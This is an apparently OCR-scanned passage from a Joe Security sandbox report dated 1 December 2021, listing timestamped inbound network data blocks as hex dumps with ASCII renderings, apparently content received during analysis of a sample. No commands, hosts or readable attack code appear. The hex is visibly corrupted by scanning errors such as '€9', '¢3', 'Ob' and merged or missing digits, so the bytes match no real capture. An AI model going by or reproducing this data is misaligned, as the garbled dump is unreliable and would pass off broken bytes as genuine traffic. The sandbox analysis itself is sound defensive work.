a6 74 4d 61 36 74 9a 7c 99 0d 87 f8 91 €8 49 66 bb el e6 9b 8c 04 20 29 fe 73 74 €9 ae 91 7d f1 22 9e 1b 97 6a be 1b c7
81 ab 0f 12 b2 3f 51 c5 83 cO c4 e6 ch e7 c3 e7
Data Ascii: [ipCGZnh/")Shv\pck N(UK49eQe0J_Jq)E{lv:js@1o>x{1=)ca(5\GhVL@qw"YL Vi@efl d*tMa6t|If )st}"|j?Q

2021-12-01 08:15:23 UTC 3201 IN Data Raw: a2 fb d6 a9 ed ca 89 b8 88 c8 42 2b 4a b7 b0 37 96 00 25 63 b6 18 5b eb 8b b8 38 2d 9a b2 2a 61 6b 16 e4 Ob
5d 7b 6b 46 69 86 6a 8f 83 9a dd 5¢ 00 18 Ob 19 e3 1d 65 d1 f5 el 5f f4 8a 04 a8 f6 21 f4 b4 b9 Ob a7 3d d1 d6 60 ca 00
7ade cb 40 25 a2 66 29 3¢ 99 c2 6e 9c 94 79 93 €9 be 37 3a 4d 2e 70 09 c4 4a 6a 52 73 62 71 3f f0 d6 5¢ 64 d7 80 f3 3b
9c de 89 d6 e6 4d 7f d6 16 46 9a 1a f1 00 d8 30 06 7c 12 87 63 92 48 df 29 18 53 4d 6e 38 97 58 0d a7 c2 95 09 77 bf 00
7e2c 07 09 49 35 f7 9a d6 57 82 71 81 02 61 b2 a4 e4 a8 36 de ¢3 95 b0 a5 52 d1 da df a2 77 4e 9f 3b 3f e4 e6 55 4d 70
d8 04 a4 27 9b 55 ad 8b 18 c4 61 a7 ef 5a 68 €8 c5 b0 20 84 8c d8 d7 f3 a4 43 e8 a5 fe 98 3 c3 68 38 ff 4b e8 43 35 1f 6e
4057 08 db 9d b6 80 3a 7e 49 1c 50 74 29 a4 ed 81 Oa
Data Ascii: B+J7%c[8-*ak]{kFij\e_!="z@%f)<ny7:M.pJjRsbq?\d;MFO|cH)SMn8Xw~,I5WgaéRwN;?UMp'UazZh Ch8KC5
n@W:~IPt)

2021-12-01 08:15:23 UTC 3217 IN Data Raw: 78 97 65 f3 €9 38 a8 Oa 1a b7 de 92 8b 80 fe 00 b6 1f f4 9e 16 7d 59 b2 d9 f4 9d d4 81 89 3e ba 24 d6 82 14 35
3b 89 43 bb 6e 1f 34 ec e2 78 52 65 9f a3 32 9d d6 10 1b 23 79 04 11 cb 07 ca d9 c7 aa 65 Oc 44 55 b5 43 6d be 3d 1c 7a
79 1b 44 38 c4 74 74 1d 7e 99 8e 91 6b fe 43 61 e5 d6 27 1b b9 ba 76 c0 56 ec 12 59 94 82 a3 bd 91 9a 33 8a 8d 4d 1b
e3d8 32 a7 21 1c 33 d7 1d 04 cc fd d2 d5 6a 8f fa 2c 10 8e 34 1e 9d 79 09 3d 07 8f Of 1c fb f5 b2 03 ¢8 c5 d1 52 d3 02 b5
8b c1 07 32 42 05 cf ab de 43 61 01 85 b7 a0 8e d1 33 9a 26 05 e5 7a 71 04 29 50 4e d6 al bf 68 da Of 89 6d 92 74 1a 5¢
4a 06 ab 52 54 bf ef 27 94 ¢3 7c 72 5f 34 6¢ 9f 39 4f 6¢ 2d c9 f5 36 bc b1 8b 5b ff 38 €0 0d 50 c2 b7 9a 91 62 c4 84 b7 fa
91 b1 35 43 50 22 d6 a5 dc 3b a0 6b dc 70 80 61 77
Data Ascii: xe8}Y>$5;Cn4xRe2#yeDUCm=zyD8tt~kCa'vVY3M2!3j,4y=R2BCa3&zq)PNhmt\JRT'|r_4I90I-6[8Pb5CP";kpaw

2021-12-01 08:15:23 UTC 3233 IN Data Raw: a9 16 a3 5d 87 ea 39 5e 4a 1d f7 d7 36 08 eb 32 a9 a6 33 85 72 f6 6b 04 44 2c 95 25 08 36 2d 7c e4 81 5c Of
5018 72 19 b6 11 2a 29 f2 a0 65 55 f8 d7 51 fc c0 db cd 5e 99 66 7a d5 cd 4b 04 04 be c7 b3 42 eb €6 55 4a 7d d7 59 cf
ab db 40 45 77 3b 44 d5 a6 3a 16 25 6a bd 5b 7c c3 al 12 d6 31 05 81 57 81 9f 5f 42 04 cf 51 4e 70 cb 2f 31 ea 79 8d a7
6b 49 58 93 a3 cf 21 4f 13 fb 4b 36 8b c3 38 bb c1 74 c6 28 2a 09 28 f5 18 0a 20 78 7a c3 af 18 f9 7 42 f8 Oc 1c 4c a8 3c
dc 14 5b 5b 54 ¢9 dd a5 d4 8f 68 6a e4 62 19 dO 8d 5a d8 8d 00 17 0d d7 65 03 22 4d ae 5a b3 b9 f3 d9 16 7a 66 24 Ob fe
bd 02 8a 11 ¢8 43 66 52 8a 25 b9 4e a8 54 7c 43 d6 05 bb ab 6d 3c 58 cd 2c 7e d1 df ac 1d 9a 87 60 cd ba 14 e0 3b fc 87
38 ed 61 cd d9 b6 33 de f1 3a 93 73 88 3d 08 3a ed bf
Data Ascii: 197J623rkD,%6-|\Pr*)eUQ*zKBUJ}Y @Ew;D: %j[|1W_BQNp/1ykIXIOK68t(*( xzBL<[[ThjbZe"MZzf$CfR%
NT|Cm<X,~";8a3:s=:

2021-12-01 08:15:23 UTC 3249 IN Data Raw: 26 c8 c¢8 8d 4d 15 8a 3e 79 a8 f8 ec 9d 7c 2d fc c3 42 f2 bc b8 82 57 2a 26 2f 7d 33 91 ac a2 38 3f 89 ff 9c cf 3f
63 f6 43 ab 74 c8 41 0d be 51 21 f0 Oc 23 87 Oe a4 53 42 aa a0 15 90 fb 07 a8 88 88 0 75 ab be 66 88 03 f4 8d 54 b7 39
57 1d c5 eb 89 e4 95 ba 70 2¢ 94 3e c9 c6 cb 22 5a d3 dc 13 79 0d Of 1a 5¢ ad f3 6e 05 ee 2e 4d 30 8e b8 a2 61 14 60 65
9d 37 5a 4f eb al 2a 05 48 02 88 c0 4d cf f6 6 09 a0 d4 db 94 91 b1 da Oe df 78 51 33 35 62 51 8¢ 71 0f b0 7d 93 e7 4d
04 8a 5e 16 33 a0 87 cf 17 07 9f ec af 53 4f 9b 26 20 b0 89 al 3d 9f 33 6¢ 41 62 c2 84 83 le 41 44 {7 67 2d 6¢ b7 df 74 a4
39 f3 92 0f f1 ef 9e 48 68 a3 71 2a ae 97 43 f7 9e 37 60 03 3e 47 63 f1 f0 2c 61 60 €9 3e fa 96 58 0d e7 51 b2 a6 36 €0 c1
9d ab 58 2f d0 f5 f1 84 14 b0 9b 35 16 46 9b
Data Ascii: &M>y|-BW*&/}38??cCtAQ!#SBUfTOWp,>"Zy\n.M0a e7ZO*HMxQ35bQq}M*3S0O& =3IAbADg-It9Hhg*C7 >Gc,
a’>XQ6X/5F

2021-12-01 08:15:23 UTC 3265 IN Data Raw: 2e 84 59 78 ff 40 29 2d a8 2f ac 05 30 10 75 dd 69 02 1f 73 a6 3a 49 de 4c 6 28 06 77 87 67 90 42 30 c3 0f 8¢
f0 63 2f 9f fc a1 08 1d be 87 2c 55 06 3d 2e dc 4f 01 ee 61 92 70 1e cd 31 fO 5d b6 aa el 5f ¢7 2d 13 6e 04 8b 4b 2c 42 da
b5 bf ee df al 02 19 3a 01 57 a0 5e 95 34 99 83 83 58 c9 a9 63 e0 ca 3e 87 af 96 d4 72 2f 96 1b 9d ea ba 18 45 eb 05 73
3c ac ea 8f 17 ¢3 b2 27 13 99 12 76 ff b5 3c 28 ab 48 50 58 66 80 88 42 a0 Of ea 75 24 44 b2 Oa ff 90 b8 1e d6 8d 16 87
40 b5 8a e9 c7 41 9b 95 e2 ed e8 5f 1f b9 2a 57 45 d1 c5 2a 33 89 f0 fb 3f 39 9e 5e 1b 77 c6 25 32 39 85 67 4f 8a c2 d8
3e cd fc e6 1b e2 f6 9b ¢3 90 39 c6 35 e df e6 bd 5a cd 6¢ 71 Oa 2a 76 09 Ob 23 f0 a2 Oe 31 af 86 27 da bl 18 3a 5e 78
7b 6d b8 7d 19 03 b0 51 aa b5 64 e2 7f b8 64 8f 52
Data Ascii: .Yx@)-/Ouis:IL(wgBOc/,U=.0ap1]_-nK,B:W"4Xc>r/Es<'v<(HPXfBUSD@A_*WE*3?9"Ww%29g0>95ZIq*v#1’
Ax{m}QddR

2021-12-01 08:15:23 UTC 3281 IN Data Raw: c3 82 86 fe ch 99 51 00 96 €0 db b0 2c¢ 09 f7 Oc 61 94 cf 58 9f 5a 6¢ be 5d eb 04 ef 76 b7 71 36 f1 6b 92 29 ea
fc 9a 86 fb Of cf b8 2e 28 4e 72 fO b7 62 c6 3a ab e2 ca c3 b5 9d 14 56 2e f3 11 e6 8b cf c5 6a 6a b6 2a f6 c5 bb ec 6b 35
bd e0 3a 9a d4 51 c5 5d 79 00 a4 6b d1 Oa ff 02 98 24 99 3c 9c al 7e 1d bl 9a 64 73 49 c8 91 af 1b 1e 3e 06 bd 80 cc 21
87 ad ab 81 2f 48 b5 68 20 9a 02 65 5d 8f bd ad 41 42 ba 6d 14 0f 83 51 ff 8¢ 58 15 51 90 dc c9 c2 74 88 ff fO eb 9d c4 e5
27 d6 5f 02 ab 70 b1 13 d7 cO 2c 68 9a b6 6f 72 14 18 a0 a0 50 f4 54 95 f1 3d 07 99 cd a3 7b 56 21 66 96 24 cd Oa a2 a6
f9 93 39 c8 db aa b8 ca 56 f2 04 eb f4 59 ec ae 17 d6 09 cb 78 4b 8d 9c ff 6d fd a2 5e 6b 8e 3c a8 45 df 41 16 e7 04 ad 46
54 79 41 94 1a 20 dd 34 ef 98 35 ff 01 66 22
Data Ascii: Q,aXZIllvg6k).(Nrb:V.jj*k5:Qlyk$<~dsI>!/Hh e]ABmQXQt'_p,horPT={V!f$9VYXKm"k<EAFTYyA 45f"

2021-12-01 08:15:23 UTC 3297 IN Data Raw: f7 8d al 79 62 16 21 3a d3 99 32 a7 ba 21 08 59 9b 90 al 05 96 94 db 12 92 e4 68 c4 31 09 ab 6e 01 eb 23 dd
13 1d 14 7f 34 b5 52 b8 54 cb 39 6¢ 85 64 e6 04 2f b2 b2 9a 03 be b2 04 51 56 b0 88 5b 3a 70 89 ef c0 94 e fe bf b2 c7
92 ae 95 90 3f 51 45 fd 55 c0 02 7c 1e db 8a 75 3f 1d 62 62 93 10 b6 c0 81 b4 Oe 8d Oc 6a 18 f9 63 26 51 88 cd 5¢ b8 al
41 cd fc 92 e7 2b 53 74 69 41 df df e5 cc f6 34 13 8b 6a 57 8e ad 79 74 95 6d 13 8f ca 94 d4 6e bf c9 26 07 b9 f5 Of bb fO
3a4ad7 c7 5 cc Oe 68 ba 89 f8 24 57 a2 00 35 c¢7 d3 a0 08 73 bf f5 87 b6 b5 6f 1b 50 7a f2 d9 1b ba f6 6e ad 94 11 1b fe
4f 8b cb 20 ce 02 2a ff 5e 2a d4 46 f7 ce 0d 70 15 b0 93 5e 39 4b 75 a8 b2 27 13 b9 17 61 8a 37 42 d3 66 45 5a 4a 78 b6
e5 15 e4 83 fa 9b 29 af b5 d1 c4 c4 a7 52 9e 9b 77
Data Ascii: yb!:2!'Yh1n#4RT9ld/QV[:p?QEU|u?bbjc&Q\A+StiA4jWytmn&:Jh$W5soPznO **Fpr9Ku'a7BfEZIX)Rw
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:23 UTC 3313 IN Data Raw: 6a b5 12 8c c¢7 25 3e 60 c0 79 66 b6 17 ef 4d 90 23 ee 1a f7 84 9d b7 2c 20 0f e5 ¢3 5c¢ fd 0d 95 a5 09 05 72 Ob
af f4 Oa be b0 6d 96 a5 f0 e7 91 4c cb 59 1d 4a 8e ce b2 c0 46 b7 95 13 97 05 8f 9e f1 1e ee 49 df 1c a9 47 4f a2 5d 3f 13
e5 ed a6 38 b1 31 66 b8 83 dd dc 3d 98 8f Oe a7 49 4a 8c a3 69 38 9c 44 6f b2 fe db 2b 3b ee ed 49 4f e4 38 2e 3e 28 80
3589 db 01 23 02 b1 b5 €9 f8 e5 ed Ob 7b ca e6 ee 3e 5d fa ff 25 a5 03 27 b2 89 8d bd 7e 64 e0 cf a8 73 Oa 23 af el 69
13 7a 54 cc ef ¢5 78 90 47 dc 4e d5 65 64 d6 36 22 d3 ad 4c 33 bc ce 8a 4d 22 8e 45 57 d9 26 07 1e 11 19 ab 91 a5 a3 28
cf 39 04 20 c5 09 54 15 3f 89 97 1f 7a 7a 3b 29 02 63 d3 68 fc 6d 7c 79 1f bd 48 ¢7 90 c¢7 46 3d 03 31 4b 4d c4 44 ac 83
19 1b ef 5¢ 94 79 dd c5 ¢5 7c 70 a5 a4 10 e3 d9 60
Data Ascii: j%>"yfM#, \rmLYJFIGO]?81f=1Ji8Do+;|08.>(5#{>]%'~ds#izZTXGNed6"L3M"EW&(9 T?zz;)chm|yHF=1KMD\y|p"

2021-12-01 08:15:23 UTC 3329 IN Data Raw: f6 f4 f5 3c 6b 89 aa Oe 96 b9 9c 9c €9 bd 0a 7b 34 9e 65 1b db 97 61 d6 ff 66 1c bc €9 8c b7 d2 c0 2a 70 cc Oc
05 €5 00 2b b6 67 c2 03 30 77 96 Oc 6f 22 01 5d 3b 08 el 39 cc €9 a5 96 f1 c9 Ob e4 d5 ¢8 95 d1 ae d1 99 57 ¢7 55 22 d4
5d 5a Oe 25 al 85 f7 18 dO cc b4 Oe 96 4f 90 67 a0 cd d5 d3 6a f6 49 68 81 b6 4a fd d6 bf ae 3d 66 30 44 be 6e 10 a0 c3
a4 2a 07 35 cf bd ad 46 f3 be 7 fd c2 46 eb 21 48 88 5a f4 a4 84 f6 65 87 64 f6 a4 1b 18 f7 6f 9c ce 5e f4 bc 95 1d ba 15
ca a0 d4 a3 31 8f 5b dc a0 99 e6 7f Oc 29 54 9d 3d e8 c7 12 44 3e 02 c3 93 ae 70 4f cb 1c bc a5 be b5 ba 3c 34 a6 d9 ba
41 84 22 5f fb 47 a6 b0 79 6e da 9f c1 f2 26 25 f3 ¢4 3f 79 3d e3 21 27 41 62 40 c6 50 5a 9e f5 1c 2d 9f c1 8d a2 6f 45 e0
20 82 3 fe 93 e3 2c 42 fe 9b 45 7e 68 b2 b5 94
Data Ascii: <k{4eaf*p+g0wo"];9WU"]Z%0OgjlhJ=fODn*5FF!HZedo"1[) T=D>pO<4A"_Gyn&%?y=I"Ab@PZ-oE ,BE~h

2021-12-01 08:15:23 UTC 3345 IN Data Raw: 4b 79 6e 5¢ Ob 3e f5 98 0a Ob 69 ba 9b f7 32 3b Ob 2f 22 01 83 9a al 59 d5 02 c9 22 58 de b9 1b f2 39 7c 6d
76 19 dO f4 e5 23 b9 c2 03 ae a6 aa 7e f3 9a 19 fd a8 75 fc 45 Oe 22 42 15 8d cf 91 e8 70 58 3b Ob d9 28 5b 0f 14 el 00
ce 80 4e 43 72 b9 de 6e c6 dd 41 83 7b 6a a4 41 62 c8 87 7e 06 d0 35 e0 Oa 81 fb b9 38 b5 7c 5b 39 ef 44 al 63 63 9a 7f
d0 9a 9d d3 6f 4a 3c el 7b c0 43 32 b7 32 e1 fO 70 34 67 2c 31 83 e3 28 aa dd 96 8a d1 d8 5e 64 cf c9 b6 9e 6b 52 99 fc
d4 a9 21 e5 76 3f 79 34 87 12 97 1d 18 f0 16 27 2f e1 57 63 58 b4 cc 67 a5 f8 66 d9 d8 a2 af 19 00 61 6¢ 90 92 42 81 c7
9361 13 38 0f 3f 18 aa 93 72 41 f4 36 ef 75 ca 61 73 a6 €9 38 Oc 04 b5 fc 4f 58 3f 76 a0 e4 df dd 93 57 09 Ob d9 9a 17 06
91 0f 1a 36 3c 8b 6e 93 85 e7 62 5b cc df cb 1c da 82
Data Ascii: Kyn\>i2;/"Y"X9|mv#~uE"BpX;([NCrnA{jAb~58|[9DccoJ<{C22p4g,1("dkRIv?y4'/WcXgfalBa8?rA6uas80OX?
VW6<nb][

2021-12-01 08:15:23 UTC 3361 IN Data Raw: 94 d7 36 db c9 3f c9 dd 3a c3 8b e8 ¢4 70 25 b1 a0 57 03 f4 2c 2b 2e af 44 a7 7e 75 cd b1 67 aa 31 fd 01 c2 61
5faa 95 29 a0 38 fc c0 78 9a cf 01 37 db 8¢ 31 d7 98 al 42 03 24 cd 34 47 33 8e 5a f1 Oe 18 11 71 89 51 7f d7 af 7 8c c2
da 5e e8 26 ba 46 08 be c8 5d 47 09 61 3c ee 28 ff c8 9e 46 eb 8b 4e 66 a4 e4 36 13 72 11 6f f1 b0 8d 5e 75 87 76 5a b7
d9 e0 5fal b7 a0 6b 1d 81 90 f6 cb dc 44 al e7 3a 5a a6 a7 e4 cd 32 55 73 3e 6f 8b 57 15 c7 e4 1f 64 a7 9d 5f 95 a9 a8
7b 91 c0 35 71 1d 67 ed 3c 23 4b Oe e6 ba 40 11 39 25 5f 24 8d 40 29 3e f3 43 2f c6 2d 22 40 59 74 8f 06 d7 be 82 e8 ad
d5 c8cl 91 ff ec d5 e3 64 Oa 2c ec e4 02 40 dc c5 65 66 7c ae 48 ce 01 e7 87 a6 94 9c fc 17 a3 cb fc 28 52 97 94 71 fe
00 1d 9f 84 74 ¢4 9d 35 14 ef ac e0 e4 90 53 ec 74
Data Ascii: 6?:p%W,+.D~ugla_)8x71B$4G3ZqQ"&F]|Ga<(FNféro”uvZ_kD:Z2Us>o0Wd_{5qg<#K@9%_$@)>C/-

"@Ytd, @ef|[H(Rqt5St

2021-12-01 08:15:23 UTC 3377 IN Data Raw: 7f a2 00 Oc cb d8 36 98 bf 9d 3b 33 57 7c a3 24 e3 94 ca 19 db 4a dd 68 47 81 dd 25 59 d1 5b 14 44 70 14 c5
88 bd db 81 15 b1 5¢ 7c 8f 74 9c 0f 52 60 de e8 97 da 31 b3 fO ff ae 30 34 6d b5 b9 99 04 57 ea 9e 4d 60 9e b3 2d 80 62
7f df 46 3f 23 87 c2 00 78 ff 53 f8 bd 06 7c a2 c0 4a cb a9 bf 70 4a 86 8e 6e 98 e7 fh ee 55 25 7e ce c2 da 07 c0 77 84 42
18 5d eb 8d 1f €9 59 b1 17 91 63 e9 €9 bc 3f 83 f7 00 ¢5 dO a3 12 f1 45 9c 3a ed 6e 58 2b 59 44 8e ce 7f 9d c4 d6 00 7e
43 6d fd 2a 94 b9 31 4a c2 61 a6 98 ae 85 c6 ef 32 9b b3 77 e3 a5 c7 23 bf ac e2 a6 4c cb d9 de 25 7c 04 e4 d6 b5 00 cf
3c d4 cd 49 3a 57 1d 56 a0 95 5f 2¢c 59 56 49 8 87 45 3b 7b 07 be 64 75 2e 66 0d 32 06 c1 82 66 4f ca e5 57 5 1b f3 26
2200 27 57 c5 c7 bl Of fe 24 b9 63 44 c1 ff c2 23 bd
Data Ascii: 6;3W|$JhG%Y[Dp\|tR"104mWM-bF?#xS|IpInU%~WB]YCc?E:nX+YD~Cm*1Ja2w#L %|<l:WV_,YVIE{du.f2fOW
&"W$cD#

2021-12-01 08:15:23 UTC 3393 IN Data Raw: 10 b6 3f 1 00 8f 15 d4 de ee 8 64 b9 67 78 9b 6d c7 54 37 d4 39 69 31 de 32 5e 1f 31 f0 f4 71 66 27 28 83 42
b6 78 00 87 ec 85 d8 de bf 4e 84 Ob f6 d8 34 3b 5c a9 ab 93 f9 05 d6 4 c9 11 56 05 28 8a be fc 45 46 aa 6b c3 af 54 50
44 1d b6 34 02 cf fb 69 bb 20 a6 44 3f 44 53 0d 7b 58 01 5¢ 60 ab 51 20 a7 15 7e 1d 9f b3 31 09 72 85 18 d4 ed 6b d3 df
6a b8 da d2 6d 21 c1 €9 7b c7 7 a3 47 8f 67 4b d6 81 61 b3 33 b9 28 el 5 76 €6 55 58 49 f2 15 ae 2a c0 90 25 bc 7c ¢5
5fc2 7b 9d 7f 97 d2 f1 bd e7 ed 95 d7 bc ff bb 9e 20 52 71 b7 e0 14 99 1a eb ff cc d7 de ad a0 05 65 ¢3 d8 7d 84 €8 c4 38
c2 c2 fb 18 d1 19 10 0d 2a f2 39 db 29 {7 58 3f el 5a 20 51 b3 f3 7c 78 f1 e4 60 51 04 47 96 20 37 fc e4 65 2d 7e 51 1d 28
9b el b5 b5 90 c1 36 23 b9 4d 38 4b 1f 54 5f f0
Data Ascii: 2dgxmT79i1271qf'(BxN4;\V(EFKTPD4i D?DS{X\'Q ~1rkim{GgKa3(vUX*%|_{ Rqe}8*9)X?Z Q|x QG 7e-
~Q(6#MBKT _

2021-12-01 08:15:23 UTC 3409 IN Data Raw: f3 e3 10 d8 8e 08 35 a8 03 5a 1f ce de bf 96 88 d3 fc 00 2b bc be cf f2 1b ab 58 69 39 1d 4a c9 ed le d4 63 01
7a 4d f4 4b c4 05 30 b2 89 69 06 a6 b4 5b db b3 Of fc b8 a4 f9 d5 9b 95 89 95 a4 47 3d 1d d1 18 48 ed 23 99 Oc fb 04 d6
eb 6a 47 b7 9a ae 9f be a5 77 b7 56 be 9d ed 01 28 c5 ee 90 11 7f 9a 69 d1 43 6¢c ce 14 fc bb 66 7e 59 94 29 Ob 44 b4 5a
16 d0 46 fd 50 03 6f 57 24 6e 56 20 6¢ ce 74 90 d2 01 05 7e 04 64 Oa Oc 6d b7 8¢ 95 ff 30 3c 77 82 d7 cd 4b b6 5f 26 9f ff
30 Oc bb 7f 4e 97 4e 45 6f 85 ac bd ef 93 9c ¢3 7e db 95 ea f1 22 32 ¢5 11 33 37 cd 2c 34 25 c8 cf 58 ef f0 95 09 33 1b 92
c8 b0 1b 78 48 d4 9e 1f 25 7c 03 7d 38 b8 15 ed 3f 38 f6 92 ¢4 9f 3f c0 41 a8 c3 62 f1 74 52 8¢ a5 c2 c5 5d 54 96 90 96 3f
84 a2 ca 56 8d f1 e3 d8 c2 24 db 87 12 d3 dd
Data Ascii: 5Z+Xi9JczMKOi[G=H#GwV/(iClf~Y)DZFPoW$nV Ilt~dm0O<wK_&ONNEo0~"237,4%X3xH%|}8?8?AbtR]T?V$

2021-12-01 08:15:23 UTC 3425 IN Data Raw: 2f d4 4b d5 65 6e f9 e0 7b a3 2f 98 ae 72 10 fe 94 74 ab 92 a3 9d a3 d0 8b 62 bd ee 2b db af 87 35 a4 4d db
18 97 a7 a7 25 7e 86 e6 f2 37 8a 97 00 35 92 18 c3 b7 {7 5a 39 67 ed b7 21 c0 2a a3 da 94 9d 95 ae 63 99 {8 10 71 60 5d
bd b2 26 c4 4f b7 7c dO b8 2d e4 5 22 ¢8 0f 55 f5 08 da c2 9a 94 46 37 00 f6 a5 d1 cd b3 2c de 2d 56 27 9c e3 6f fb 51 f3
16 c5 b9 fa a6 16 59 52 ca 74 d8 ee f9 82 29 6¢ 70 8e Ob ef cd 6f 52 54 75 1a 7f 8d a7 al 21 2d 90 76 be a8 01 33 58 19
f8 83 e5 23 {7 6d 8e 25 42 79 aa 6a 2b 8a 7e 1la c4 25 ca ba 66 cd le 38 4a Oc f9 77 39 1b cb bb €9 c4 5a b9 96 Oe 73 bc
5a ee 53 64 c5 42 5b 26 3f 3b 0e 90 8d 10 29 79 1a Oc ec b0 ca 36 86 54 e5 ¢8 90 b8 c7 5f 20 73 2a bd 1f 2f 39 d1 fc 70
e4 ee 86 16 44 5b 06 0f 64 a0 d9 58 1d ee Oc 9c¢ 9d 8¢
Data Ascii: /Ken{/rtb+5M%~7529g!*cq’]&0|-"UF7,-V'0QYRU)IpoRTu!l-v3X#m%Byj+~%f8Jw9ZsZSdB[&?;)y6 T_ s*/9pD[dX

2021-12-01 08:15:23 UTC 3441 IN Data Raw: af fa d8 9f 74 61 74 Oe 5e 35 59 fd be af 98 54 b9 a3 d3 08 92 fe c5 50 Ob le df d2 64 49 a3 ab 96 c9 ff b4 1d
65 00 3a 08 27 f9 69 1b 71 25 64 c5 61 72 bd 60 6f cb 8a 7b 8b 3b ea 26 30 cb c1 44 da 2c 5f 7c ae b9 2f a9 2f 20 2 64 9¢c
f4 cfe7 99 71 79 68 ee 84 39 60 c2 c6 1c 69 5c ce 3d 44 b2 ac e0 52 68 b5 1f 6¢ cc b2 88 Oc ef 3e 22 ¢3 07 28 77 36 4f
23 ad 24 b2 68 89 39 60 7d 45 60 ec 7a ee 81 6e 15 a3 67 4c 4c 33 d2 f4 e4 70 26 99 77 6b 6d 73 ef 4e 82 74 78 b5 Ob 22
30 a6 8a 4c 66 c1 c0 82 54 db 42 1d 28 a5 02 a6 c9 9e e2 15 b4 47 b0 9f 65 8¢ c0 d9 43 2b 51 b9 ea aa €6 €0 ec bb 0d a2
6b 66 90 af 36 cb 36 2e bf 06 a0 11 45 37 1d 3e 88 93 3c 6b 72 74 b2 c0 f5 df ae 39 el d3 36 c1 d1 99 8e f5 cd 57 2e 51
66 c8 07 55 9a c5 ab 31 2d 9a ef 76 57 dc 36 d4 23
Data Ascii: tat"5YTPdle:'iq%dar of;&0D,_|// dgyh9'i\=DRhI>"(w60#$h9"}E zngLL3p&wkmsNtx"0OLfTB(GeC+Qkf66.E7><krt
96W.QfUL-vW6#

Copyright Joe Security LLC 2021 Page 101 of 119



kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:23 UTC 3457 IN Data Raw: 05 5c 6a 91 f2 ad 82 a5 29 f9 ca 2a 04 79 e0 09 85 25 df 5d 1d d7 ca 8f 56 a7 4f el 5d 27 ef 06 8b 35 c7 58 12
c3f1 56 90 5¢c 77 ea 82 02 b1 b2 01 6b 71 bc 71 c0 4d c6 d9 4a d8 e9 fe a5 be 6¢ 2d 6d 35 96 8e 21 79 77 3b 21 56 00 2a
13 10 00 b4 6a 4e 8d b7 a8 fd 74 ab 52 Oe ea 84 78 bb 1f 14 e2 9c bb 5d 2d d6 e4 56 43 bd 2e 13 32 d4 cc 84 al bb 93 80
b6 07 1d fb 05 55 e4 c8 aa ac 6f 93 3e 2a cd 46 08 Oa d7 b9 50 4c a3 fa c1 38 00 68 76 ca eb fc a9 7c 89 38 af 2f bd 1d 2a
b3 5b d1 2c 1f ff ff a9 c6 2c 0d 58 e8 €9 13 9f 5d 8b 3e f4 fc 6d 87 56 64 70 22 8 8d 61 49 2a ff 28 29 54 05 9c 5f 99 25
25 5f 23 44 6b b1 40 84 be dc 50 4d 4d 8f 45 b4 fd 5a 7a 2d 0a d5 14 45 7d 9c cb 3a 1d b7 2e 89 78 c7 6¢ 56 1e 9c ec 1b
2e 5d el 60 49 b9 3f 62 af 76 €9 1c a6 47 b5 1c
Data Ascii: \j)*y%]VO]'5XV\wkggMJIl-m5!yw;!V*NtRx]-VC.2Uo>*FPL8hv|8/*[, X]>mVdp"al*()T_%%_#Dk@PMMEZz-
E}:.xIV.]'1?bvG

2021-12-01 08:15:23 UTC 3473 IN Data Raw: 90 0d a5 7b 20 31 44 98 6a 7f Ob 68 40 ec ee 97 9f ea eb 14 6¢ 0b 71 59 da ee 9c 7c 7b Of 3c 08 e7 84 9c 69
€6 f7 9a 95 95 de 1le bf d5 5d 4f a3 ¢8 63 fb 7d 1f ¢9 10 b9 02 4a 22 71 a2 f3 44 65 03 35 84 d7 a0 a4 ba e0 67 f9 8¢ 5¢ 5a
14 8318 62 41 74 1a 66 40 e6 1e fO 6d b1 c3 1c 15 91 cc c5 aa 8a 26 85 c0 d3 1a 67 e4 45 b0 5b 0b 45 90 0f b9 f5 5d 87
18 66 73 fc c2 51 76 44 79 3a e0 d4 31 57 28 c¢1 9a 3c 3d 14 2c 2¢c 12 69 6¢ 76 1d al e4 5b 0a d1 29 8b f2 d4 43 e0 63 a2
3 0f 9b 17 a5 45 4a 47 be 04 37 13 c3 2a f7 f3 5a 7b 65 58 €0 bf 92 a7 81 7a e4 86 22 fa d8 36 72 a9 9f 8d 69 13 aa e4 ab
23 cf b1l b7 a8 1a 3b e6 12 ee 91 d6 fe 01 f9 33 8f 49 70 73 88 76 9b €9 43 18 4d 11 80 46 bf d2 98 40 39 6f 24 e4 7e d4
a3 1d 60 8d e3 58 ae Ob 60 04 6e b6 25 c3 74 dO c3
Data Ascii: { 1Djh@IlqY|{<i]Oc}J"qDe5g\ZbAtf@m&QE[E]fsQvDy:1W(<=,,ilv[) CCEIG7*Z{eXz"6ri#;3IpsvVCMF@90%$~"X n%t

2021-12-01 08:15:23 UTC 3489 IN Data Raw: 7c bf 07 fb 66 95 bf b6 30 80 4f 91 ce 54 86 bd c7 04 68 94 c3 el 7f 91 40 00 d2 fd 9b c1 2a 76 5e 00 59 f5 69
09 dc 8c 15 e8 32 c4 24 33 5d 35 8d 3b bb b0 14 €5 07 95 54 7c b4 2 ef 40 b0 57 9d d8 b2 9e 26 6e 37 d5 21 27 c0 f4 31
8 1b be f4 61 64 b4 5b 59 2e e3 01 57 ce 43 63 d2 92 d1 8d 7c 2d ec 6f 3f Oe 05 4d 66 c8 21 3b 3d df 4a 32 79 9a c6 cf af
43 16 1e 3¢ 96 21 66 9c 48 41 1e 72 b0 Oe 03 a3 ca 4d f8 c1 16 2b 85 28 35 e4 00 Oe 46 a4 60 bc 4a cf 80 ea 1d e0 al cl
82 b1 ad 63 70 ca ff c6 65 8e 44 4c c2 00 ed 45 61 00 3f 8b e4 b2 d5 3d fb 57 cf al c8 da 44 ce 7f fe 65 a9 57 bd 72 d3 f6
7alc 7d 09 c6 45 98 9a d0 c5 42 ee fb ea 51 ¢8 07 5¢ 5e cf e0 ¢5 49 11 61 35 12 bd c8 8a 50 7b d5 ae 43 al 91 7e 1a bf
8552 3b 69 b3 Oc 26 c6 c2 €9 86 c3 1d 1d 73 fc
Data Ascii: [fOOTh@*v"Yi2$3]5;T|@W&n7!"lad[Y.WCc|-0?Mfl;=J2yC<!fHArM+(5F JcpeDLEa?=WDeWrz}EBQ\*la5P{
C~R;i&s

2021-12-01 08:15:23 UTC 3505 IN Data Raw: a0 93 c3 b0 b1 8a 68 6a 56 bd e2 51 86 3b 20 6¢ 4d 3e f4 83 cb 9f 6¢ 64 c1 6a ec 1f 6¢ 9f 9a d3 a7 69 5d bd 4c
